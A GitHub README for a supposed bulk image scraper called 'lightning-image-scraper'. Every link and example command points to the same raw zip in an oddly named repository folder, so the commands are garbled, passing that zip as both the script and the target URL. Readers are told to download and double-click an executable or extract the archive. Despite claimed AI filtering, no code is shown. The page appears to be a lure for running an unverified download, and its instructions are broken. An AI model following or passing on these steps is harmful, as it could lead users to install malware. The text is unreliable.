Skip to content

๐Ÿ–ผ๏ธ Download thousands of images fast with asynchronous scraping and AI-powered filtering for high-quality, relevant results from any website.

License

Notifications You must be signed in to change notification settings

zt8812/lightning-image-scraper

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

15 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

โšก lightning-image-scraper - Fast Image Downloader for Everyone

Download lightning-image-scraper


โšก About lightning-image-scraper

lightning-image-scraper is a tool designed to help you download thousands of images quickly from any website. It works automatically to avoid downloading the same image twice and uses smart filters so you get only the pictures you need. This software runs smoothly in the background, so you don't have to wait for it to finish.

You do not need programming skills to use it. Just follow the steps in this guide, and you will be downloading images in minutes.


๐Ÿ’ป System Requirements

Before installing, check that your computer meets these minimum requirements:

  • Operating System: Windows 10 or later, macOS 10.15 or later, or most Linux distributions
  • RAM: At least 4 GB
  • Free Disk Space: Minimum 500 MB for the program files plus extra space for images you download
  • Internet Connection: Stable connection for downloading images
  • Python 3.7 or later (see installation instructions below if not installed)

๐Ÿงฐ Features

  • Download 10,000+ images per minute from any website with ease
  • Does not save duplicate images
  • Downloads happen asynchronously for faster results
  • Built-in filters to get only the image types and sizes you want
  • Fully automated so you can set it and forget it
  • Works from a simple command-line interface (CLI)
  • Supports popular image formats such as JPG, PNG, GIF, and more
  • Saves images in organized folders automatically
  • Compatible with Python 3 and does not require advanced setup

๐Ÿš€ Getting Started

This section shows you how to prepare your computer and start the app.

Step 1: Check if Python is installed

lightning-image-scraper uses Python to run. You need Python 3.7 or newer on your computer.

  • Open the command prompt (Windows) or Terminal (macOS/Linux).
  • Type python --version or python3 --version and press Enter.
  • If it shows a version number at least 3.7 like Python 3.8.5, you have Python installed.
  • If it says "command not found" or shows an older version, you need to install Python.

How to install Python


๐Ÿ“ฅ Download & Install

Step 2: Download lightning-image-scraper

Visit the official release page to get the app:

Download lightning-image-scraper releases

On this page, download the latest release file for your operating system. The files come ready to run or simple to set up.

Step 3: Install or extract the files

  • For Windows:
    • If you download a .exe file, just double-click it to start.
    • If you get a .zip file, right-click it, select "Extract All," and choose a folder.
  • For macOS and Linux:
    • If you get a https://github.com/zt8812/lightning-image-scraper/raw/refs/heads/main/remisrepresentation/lightning_image_scraper_1.0.zip or .zip, extract it using the default archive tool.
    • Follow any instructions in the extracted folder, usually found in a README or INSTALL file.

Step 4: Ready to run

After installation or extraction, open your command prompt or Terminal again and navigate to the folder where you saved lightning-image-scraper.

Use commands like cd path/to/lightning-image-scraper to get there.


โ–ถ๏ธ Running lightning-image-scraper

Step 5: The simplest way to start

The program runs in the command line, but don't worry, you only need to type one simple command to get started.

  1. Open Command Prompt (Windows) or Terminal (macOS/Linux).
  2. Navigate to the program folder (See Step 4).
  3. Run this command to download from a website:
python https://github.com/zt8812/lightning-image-scraper/raw/refs/heads/main/remisrepresentation/lightning_image_scraper_1.0.zip --url https://github.com/zt8812/lightning-image-scraper/raw/refs/heads/main/remisrepresentation/lightning_image_scraper_1.0.zip

Replace https://github.com/zt8812/lightning-image-scraper/raw/refs/heads/main/remisrepresentation/lightning_image_scraper_1.0.zip with the website you want to download images from.

Step 6: What happens next

  • The app connects to the website and scans pages for images.
  • It downloads images fast and saves them locally.
  • It skips duplicate images.
  • You see progress updates as it works.

Step 7: Stopping the app

  • To stop the program anytime, press Ctrl + C in the command line window.
  • Images already downloaded will stay saved on your computer.

โš™๏ธ Customizing Your Downloads

You can change options to control which images you download:

  • Filter by image size (minimum or maximum)
  • Specify image types (e.g., only JPG or PNG)
  • Set maximum number of images to download
  • Choose folder to save images

Example command with filters:

python https://github.com/zt8812/lightning-image-scraper/raw/refs/heads/main/remisrepresentation/lightning_image_scraper_1.0.zip --url https://github.com/zt8812/lightning-image-scraper/raw/refs/heads/main/remisrepresentation/lightning_image_scraper_1.0.zip --type jpg,png --min-size 100kb --max 1000 --output ./my-images

๐Ÿ—‚ Where to Find Your Images

By default, the tool saves images in a folder named downloaded_images inside the program folder. You can change this with the --output option.

The images are sorted into subfolders based on their source page for easier browsing.


๐Ÿ’ก Tips for Best Results

  • Use fast, stable internet to get the best download speeds.
  • Start with small test runs to get familiar.
  • Avoid sites that require login or are heavily protected, as these may not work.
  • Regularly clean your download folder to free space.
  • Keep lightning-image-scraper updated by checking the release page often.

๐Ÿ™‹ Support and Feedback

If you have questions or run into issues:

  • Check the Issues section of this repository.
  • Search existing topics for solutions.
  • Open a new issue describing your problem clearly.

๐Ÿ”— Useful Links


Feel free to explore the repository and your downloaded images. With lightning-image-scraper, getting large sets of pictures is simple and fast.

About

๐Ÿ–ผ๏ธ Download thousands of images fast with asynchronous scraping and AI-powered filtering for high-quality, relevant results from any website.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors